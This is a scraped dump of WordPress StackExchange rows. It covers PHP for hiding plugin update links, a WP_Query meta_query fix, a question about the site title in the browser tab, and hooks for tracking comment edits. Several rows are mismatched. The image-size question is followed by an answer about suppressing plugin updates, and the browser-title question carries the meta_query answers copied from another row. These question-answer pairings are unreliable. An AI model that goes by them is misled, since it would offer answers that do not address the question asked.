When I upload an image in the Media Uploader I would like to be able to select the image sizes I want that image to be actally uploaded in. Since I don't need all image sizes for every image, but I do need to use every image size on my website. And this will take up a lot af unnecessary space. | First of all... It is a really bad idea to modify existing plugin.
But if you really have to do this, then you can hide update link with this code (this one works for Yoast SEO):
```
function remove_update_notification_link($value) {
if ( array_key_exists('wordpress-seo/wp-seo.php', $value->response) ) {
$value->response[ 'wordpress-seo/wp-seo.php' ]->package = '';
}
return $value;
}
add_filter('site_transient_update_plugins', 'remove_update_notification_link');
```
The notice will be shown, but instead of the link to update there will be info: "Automatic update is unavailable for this plugin."
If you put this code right in the plugin, then you can use more automatic way:
```
function remove_update_notification_link($value) {
if ( array_key_exists(plugin_basename(__FILE__), $value->response) ) {
$value->response[ plugin_basename(__FILE__) ]->package = '';
}
return $value;
}
add_filter('site_transient_update_plugins', 'remove_update_notification_link');
``` |
304,472 | <p>I am trying to dynamically create a meta query based upon an array of post_id values. However, the query is not working. I have used <code>var_dump()</code> to see <code>$meta_array</code>, and it appears to be a standard array in the correct format to pass into <code>WP_Query()</code>.</p>
<pre><code>$post_id_array = array( "12", "24" ); //this array will be dynamically generated
$meta_array = array();
foreach ($post_ids_array as $key => $value) {
array_push($meta_array,
array(
'key' => 'relate_blog_posts',
'value' => $value,
'compare' => 'LIKE'
)
);
}
$post_args = array(
'post_type' => 'post',
'posts_per_page' => 3,
'post_status' => 'publish',
'meta_query' => array($meta_array)
);
$post_query = new WP_Query($post_args);
</code></pre>
<p>Please let me know if I have made a mistake, or am simply going about this the wrong way.</p>
<p>Thanks!</p>
| [
{
"answer_id": 304527,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 1,
"selected": false,
"text": "<p>First of all, you have a typo in your code. The variable with post IDs is called <code>post_id_array</code>, but your foreach loop uses <code>post_ids_array</code> (id<strong>s</strong> instead of id).</p>\n\n<p>When you fix this, then there's one more problem. Meta query param should be an array of queries and each query should be an array. But your <code>$post_args</code> generated by your code looks like this:</p>\n\n<pre><code>array(4) {\n [\"post_type\"]=>\n string(4) \"post\"\n [\"posts_per_page\"]=>\n int(3)\n [\"post_status\"]=>\n string(7) \"publish\"\n [\"meta_query\"]=>\n array(1) {\n [0]=>\n array(2) {\n [0]=>\n array(3) {\n [\"key\"]=>\n string(17) \"relate_blog_posts\"\n [\"value\"]=>\n string(2) \"12\"\n [\"compare\"]=>\n string(4) \"LIKE\"\n }\n [1]=>\n array(3) {\n [\"key\"]=>\n string(17) \"relate_blog_posts\"\n [\"value\"]=>\n string(2) \"24\"\n [\"compare\"]=>\n string(4) \"LIKE\"\n }\n }\n }\n}\n</code></pre>\n\n<p>As you can see, <code>meta_query</code> is an array containing an array containing queries.</p>\n\n<p>And here is your code with all the fixes:</p>\n\n<pre><code>$post_ids_array = array( \"12\", \"24\" ); //this array will be dynamically generated\n$meta_array = array();\nforeach ($post_ids_array as $key => $value) {\n array_push($meta_array,\n array(\n 'key' => 'relate_blog_posts',\n 'value' => $value,\n 'compare' => 'LIKE'\n )\n );\n}\n\n$post_args = array(\n 'post_type' => 'post',\n 'posts_per_page' => 3,\n 'post_status' => 'publish',\n 'meta_query' => $meta_array\n);\n$post_query = new WP_Query($post_args);\n</code></pre>\n"
},
{
"answer_id": 304969,
"author": "CandyPaintedRIMS",
"author_id": 101243,
"author_profile": "https://wordpress.stackexchange.com/users/101243",
"pm_score": 1,
"selected": true,
"text": "<p>With the help of @Krzysiek Dróżdż I have found the solution to this issue. My first issue was that I was nesting the $meta_array in another array.</p>\n\n<p>As suggested by @Krzysiek, I changed this line</p>\n\n<pre><code>'meta_query' => array($meta_array)\n</code></pre>\n\n<p>to</p>\n\n<pre><code>'meta_query' => $meta_array\n</code></pre>\n\n<p>. This allowed for the meta array to remain in the correct syntax for the WP_Query object. The final issue that I resolved was that in a meta query with multiple values, you must define how the values are related. For instance</p>\n\n<pre><code>'meta_query' => array(\n array (\n 'key' => 'relate_blog_posts',\n 'value' => '155',\n 'compare' => 'LIKE'\n ),\n array (\n 'key' => 'relate_blog_posts',\n 'value' => '156',\n 'compare' => 'LIKE'\n )\n )\n</code></pre>\n\n<p>will not return any values, while the following will:</p>\n\n<pre><code>'meta_query' => array(\n 'relation' => 'OR',\n array (\n 'key' => 'relate_blog_posts',\n 'value' => '155',\n 'compare' => 'LIKE'\n ),\n array (\n 'key' => 'relate_blog_posts',\n 'value' => '156',\n 'compare' => 'LIKE'\n ),\n )\n</code></pre>\n\n<p>Thus by initially defining $meta_array to include the 'relation' attribute, the final array was in the proper syntax and the query worked. Final working code:</p>\n\n<pre><code>$post_ids_array = array( \"12\", \"24\" ); //this array will be dynamically generated\n$meta_array = array('relation'=>'OR');\nforeach ($post_ids_array as $key => $value) {\n array_push($meta_array,\n array(\n 'key' => 'relate_blog_posts',\n 'value' => $value,\n 'compare' => 'LIKE'\n )\n );\n}\n\n$post_args = array(\n 'post_type' => 'post',\n 'posts_per_page' => 3,\n 'post_status' => 'publish',\n 'meta_query' => $meta_array\n);\n$post_query = new WP_Query($post_args);\n</code></pre>\n"
}
]
| 2018/05/25 | [
"https://wordpress.stackexchange.com/questions/304472",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/101243/"
]
| I am trying to dynamically create a meta query based upon an array of post\_id values. However, the query is not working. I have used `var_dump()` to see `$meta_array`, and it appears to be a standard array in the correct format to pass into `WP_Query()`.
```
$post_id_array = array( "12", "24" ); //this array will be dynamically generated
$meta_array = array();
foreach ($post_ids_array as $key => $value) {
array_push($meta_array,
array(
'key' => 'relate_blog_posts',
'value' => $value,
'compare' => 'LIKE'
)
);
}
$post_args = array(
'post_type' => 'post',
'posts_per_page' => 3,
'post_status' => 'publish',
'meta_query' => array($meta_array)
);
$post_query = new WP_Query($post_args);
```
Please let me know if I have made a mistake, or am simply going about this the wrong way.
Thanks! | With the help of @Krzysiek Dróżdż I have found the solution to this issue. My first issue was that I was nesting the $meta\_array in another array.
As suggested by @Krzysiek, I changed this line
```
'meta_query' => array($meta_array)
```
to
```
'meta_query' => $meta_array
```
. This allowed for the meta array to remain in the correct syntax for the WP\_Query object. The final issue that I resolved was that in a meta query with multiple values, you must define how the values are related. For instance
```
'meta_query' => array(
array (
'key' => 'relate_blog_posts',
'value' => '155',
'compare' => 'LIKE'
),
array (
'key' => 'relate_blog_posts',
'value' => '156',
'compare' => 'LIKE'
)
)
```
will not return any values, while the following will:
```
'meta_query' => array(
'relation' => 'OR',
array (
'key' => 'relate_blog_posts',
'value' => '155',
'compare' => 'LIKE'
),
array (
'key' => 'relate_blog_posts',
'value' => '156',
'compare' => 'LIKE'
),
)
```
Thus by initially defining $meta\_array to include the 'relation' attribute, the final array was in the proper syntax and the query worked. Final working code:
```
$post_ids_array = array( "12", "24" ); //this array will be dynamically generated
$meta_array = array('relation'=>'OR');
foreach ($post_ids_array as $key => $value) {
array_push($meta_array,
array(
'key' => 'relate_blog_posts',
'value' => $value,
'compare' => 'LIKE'
)
);
}
$post_args = array(
'post_type' => 'post',
'posts_per_page' => 3,
'post_status' => 'publish',
'meta_query' => $meta_array
);
$post_query = new WP_Query($post_args);
``` |
304,476 | <p>My Wordpress Site (PeterKellner.net)'s home page is a page titled "Who is Peter Kellner". The browser tab shows that and I want it to just say peterkellner.net.</p>
<p>How can I make that happen without changing the actual title shown on the page?</p>
| [
{
"answer_id": 304527,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 1,
"selected": false,
"text": "<p>First of all, you have a typo in your code. The variable with post IDs is called <code>post_id_array</code>, but your foreach loop uses <code>post_ids_array</code> (id<strong>s</strong> instead of id).</p>\n\n<p>When you fix this, then there's one more problem. Meta query param should be an array of queries and each query should be an array. But your <code>$post_args</code> generated by your code looks like this:</p>\n\n<pre><code>array(4) {\n [\"post_type\"]=>\n string(4) \"post\"\n [\"posts_per_page\"]=>\n int(3)\n [\"post_status\"]=>\n string(7) \"publish\"\n [\"meta_query\"]=>\n array(1) {\n [0]=>\n array(2) {\n [0]=>\n array(3) {\n [\"key\"]=>\n string(17) \"relate_blog_posts\"\n [\"value\"]=>\n string(2) \"12\"\n [\"compare\"]=>\n string(4) \"LIKE\"\n }\n [1]=>\n array(3) {\n [\"key\"]=>\n string(17) \"relate_blog_posts\"\n [\"value\"]=>\n string(2) \"24\"\n [\"compare\"]=>\n string(4) \"LIKE\"\n }\n }\n }\n}\n</code></pre>\n\n<p>As you can see, <code>meta_query</code> is an array containing an array containing queries.</p>\n\n<p>And here is your code with all the fixes:</p>\n\n<pre><code>$post_ids_array = array( \"12\", \"24\" ); //this array will be dynamically generated\n$meta_array = array();\nforeach ($post_ids_array as $key => $value) {\n array_push($meta_array,\n array(\n 'key' => 'relate_blog_posts',\n 'value' => $value,\n 'compare' => 'LIKE'\n )\n );\n}\n\n$post_args = array(\n 'post_type' => 'post',\n 'posts_per_page' => 3,\n 'post_status' => 'publish',\n 'meta_query' => $meta_array\n);\n$post_query = new WP_Query($post_args);\n</code></pre>\n"
},
{
"answer_id": 304969,
"author": "CandyPaintedRIMS",
"author_id": 101243,
"author_profile": "https://wordpress.stackexchange.com/users/101243",
"pm_score": 1,
"selected": true,
"text": "<p>With the help of @Krzysiek Dróżdż I have found the solution to this issue. My first issue was that I was nesting the $meta_array in another array.</p>\n\n<p>As suggested by @Krzysiek, I changed this line</p>\n\n<pre><code>'meta_query' => array($meta_array)\n</code></pre>\n\n<p>to</p>\n\n<pre><code>'meta_query' => $meta_array\n</code></pre>\n\n<p>. This allowed for the meta array to remain in the correct syntax for the WP_Query object. The final issue that I resolved was that in a meta query with multiple values, you must define how the values are related. For instance</p>\n\n<pre><code>'meta_query' => array(\n array (\n 'key' => 'relate_blog_posts',\n 'value' => '155',\n 'compare' => 'LIKE'\n ),\n array (\n 'key' => 'relate_blog_posts',\n 'value' => '156',\n 'compare' => 'LIKE'\n )\n )\n</code></pre>\n\n<p>will not return any values, while the following will:</p>\n\n<pre><code>'meta_query' => array(\n 'relation' => 'OR',\n array (\n 'key' => 'relate_blog_posts',\n 'value' => '155',\n 'compare' => 'LIKE'\n ),\n array (\n 'key' => 'relate_blog_posts',\n 'value' => '156',\n 'compare' => 'LIKE'\n ),\n )\n</code></pre>\n\n<p>Thus by initially defining $meta_array to include the 'relation' attribute, the final array was in the proper syntax and the query worked. Final working code:</p>\n\n<pre><code>$post_ids_array = array( \"12\", \"24\" ); //this array will be dynamically generated\n$meta_array = array('relation'=>'OR');\nforeach ($post_ids_array as $key => $value) {\n array_push($meta_array,\n array(\n 'key' => 'relate_blog_posts',\n 'value' => $value,\n 'compare' => 'LIKE'\n )\n );\n}\n\n$post_args = array(\n 'post_type' => 'post',\n 'posts_per_page' => 3,\n 'post_status' => 'publish',\n 'meta_query' => $meta_array\n);\n$post_query = new WP_Query($post_args);\n</code></pre>\n"
}
]
| 2018/05/25 | [
"https://wordpress.stackexchange.com/questions/304476",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/144290/"
]
| My Wordpress Site (PeterKellner.net)'s home page is a page titled "Who is Peter Kellner". The browser tab shows that and I want it to just say peterkellner.net.
How can I make that happen without changing the actual title shown on the page? | With the help of @Krzysiek Dróżdż I have found the solution to this issue. My first issue was that I was nesting the $meta\_array in another array.
As suggested by @Krzysiek, I changed this line
```
'meta_query' => array($meta_array)
```
to
```
'meta_query' => $meta_array
```
. This allowed for the meta array to remain in the correct syntax for the WP\_Query object. The final issue that I resolved was that in a meta query with multiple values, you must define how the values are related. For instance
```
'meta_query' => array(
array (
'key' => 'relate_blog_posts',
'value' => '155',
'compare' => 'LIKE'
),
array (
'key' => 'relate_blog_posts',
'value' => '156',
'compare' => 'LIKE'
)
)
```
will not return any values, while the following will:
```
'meta_query' => array(
'relation' => 'OR',
array (
'key' => 'relate_blog_posts',
'value' => '155',
'compare' => 'LIKE'
),
array (
'key' => 'relate_blog_posts',
'value' => '156',
'compare' => 'LIKE'
),
)
```
Thus by initially defining $meta\_array to include the 'relation' attribute, the final array was in the proper syntax and the query worked. Final working code:
```
$post_ids_array = array( "12", "24" ); //this array will be dynamically generated
$meta_array = array('relation'=>'OR');
foreach ($post_ids_array as $key => $value) {
array_push($meta_array,
array(
'key' => 'relate_blog_posts',
'value' => $value,
'compare' => 'LIKE'
)
);
}
$post_args = array(
'post_type' => 'post',
'posts_per_page' => 3,
'post_status' => 'publish',
'meta_query' => $meta_array
);
$post_query = new WP_Query($post_args);
``` |
304,504 | <p>Is it possible to create a custom hook if a comment is updated/edited in the database?</p>
<p>I want a hook, something like this:</p>
<pre><code>add_action('before_edit_comment', 'myfunction');
function myfunction($comment_id, $comment_object){
// do something
}
</code></pre>
<p>Actually, I want to keep the history if a user edits/updates a comment like Facebook. Please give me your suggestion.</p>
| [
{
"answer_id": 304506,
"author": "WPDavid",
"author_id": 129826,
"author_profile": "https://wordpress.stackexchange.com/users/129826",
"pm_score": 1,
"selected": false,
"text": "<p>There are 6 hooks that can be used with comment forms if you are logged in - to my knowledge. These are </p>\n\n<ul>\n<li>comment_form </li>\n<li>comment_form_before </li>\n<li>comment_form_after </li>\n<li>comment_form_top</li>\n<li>comment_form_before_fields</li>\n<li>comment_form_after_fields</li>\n</ul>\n\n<p>If the user is not logged in, I am aware of only 4 available hooks:</p>\n\n<ul>\n<li>comment_form </li>\n<li>comment_form_before </li>\n<li>comment_form_after </li>\n<li>comment_form_top</li>\n</ul>\n\n<p>Which to use depends on what you want to do. If you want to perform some action only if the content is updated, then you should recover the content using the comment_form_before hook and then perform your action using the comment_form_after hook only if this content changes when the form is submitted.</p>\n"
},
{
"answer_id": 304507,
"author": "cjbj",
"author_id": 75495,
"author_profile": "https://wordpress.stackexchange.com/users/75495",
"pm_score": 2,
"selected": false,
"text": "<p>Updating an existing comment in the database is done by the function <a href=\"https://developer.wordpress.org/reference/functions/wp_update_comment/\" rel=\"nofollow noreferrer\"><code>wp_update_comment</code></a>. As you can see, there is one hook, <code>edit_comment</code>, which you can use to trigger an action when a comment is updated.</p>\n\n<p>However, this hook fires after the comment has been updated. If you want to store the older version of the comment the hook is no use. Also, there is no obvious way to store older versions op the comment. You would have to modify the datastructure, for instance by creating an <a href=\"https://developer.wordpress.org/reference/functions/add_comment_meta/\" rel=\"nofollow noreferrer\">additional comment metadata</a> field.</p>\n\n<p>You could then hook into the <code>comment_save_pre</code> filter in <code>wp_update_comment</code> to store the old content in that metafield.</p>\n"
}
]
| 2018/05/26 | [
"https://wordpress.stackexchange.com/questions/304504",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/144316/"
]
| Is it possible to create a custom hook if a comment is updated/edited in the database?
I want a hook, something like this:
```
add_action('before_edit_comment', 'myfunction');
function myfunction($comment_id, $comment_object){
// do something
}
```
Actually, I want to keep the history if a user edits/updates a comment like Facebook. Please give me your suggestion. | Updating an existing comment in the database is done by the function [`wp_update_comment`](https://developer.wordpress.org/reference/functions/wp_update_comment/). As you can see, there is one hook, `edit_comment`, which you can use to trigger an action when a comment is updated.
However, this hook fires after the comment has been updated. If you want to store the older version of the comment the hook is no use. Also, there is no obvious way to store older versions op the comment. You would have to modify the datastructure, for instance by creating an [additional comment metadata](https://developer.wordpress.org/reference/functions/add_comment_meta/) field.
You could then hook into the `comment_save_pre` filter in `wp_update_comment` to store the old content in that metafield. |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.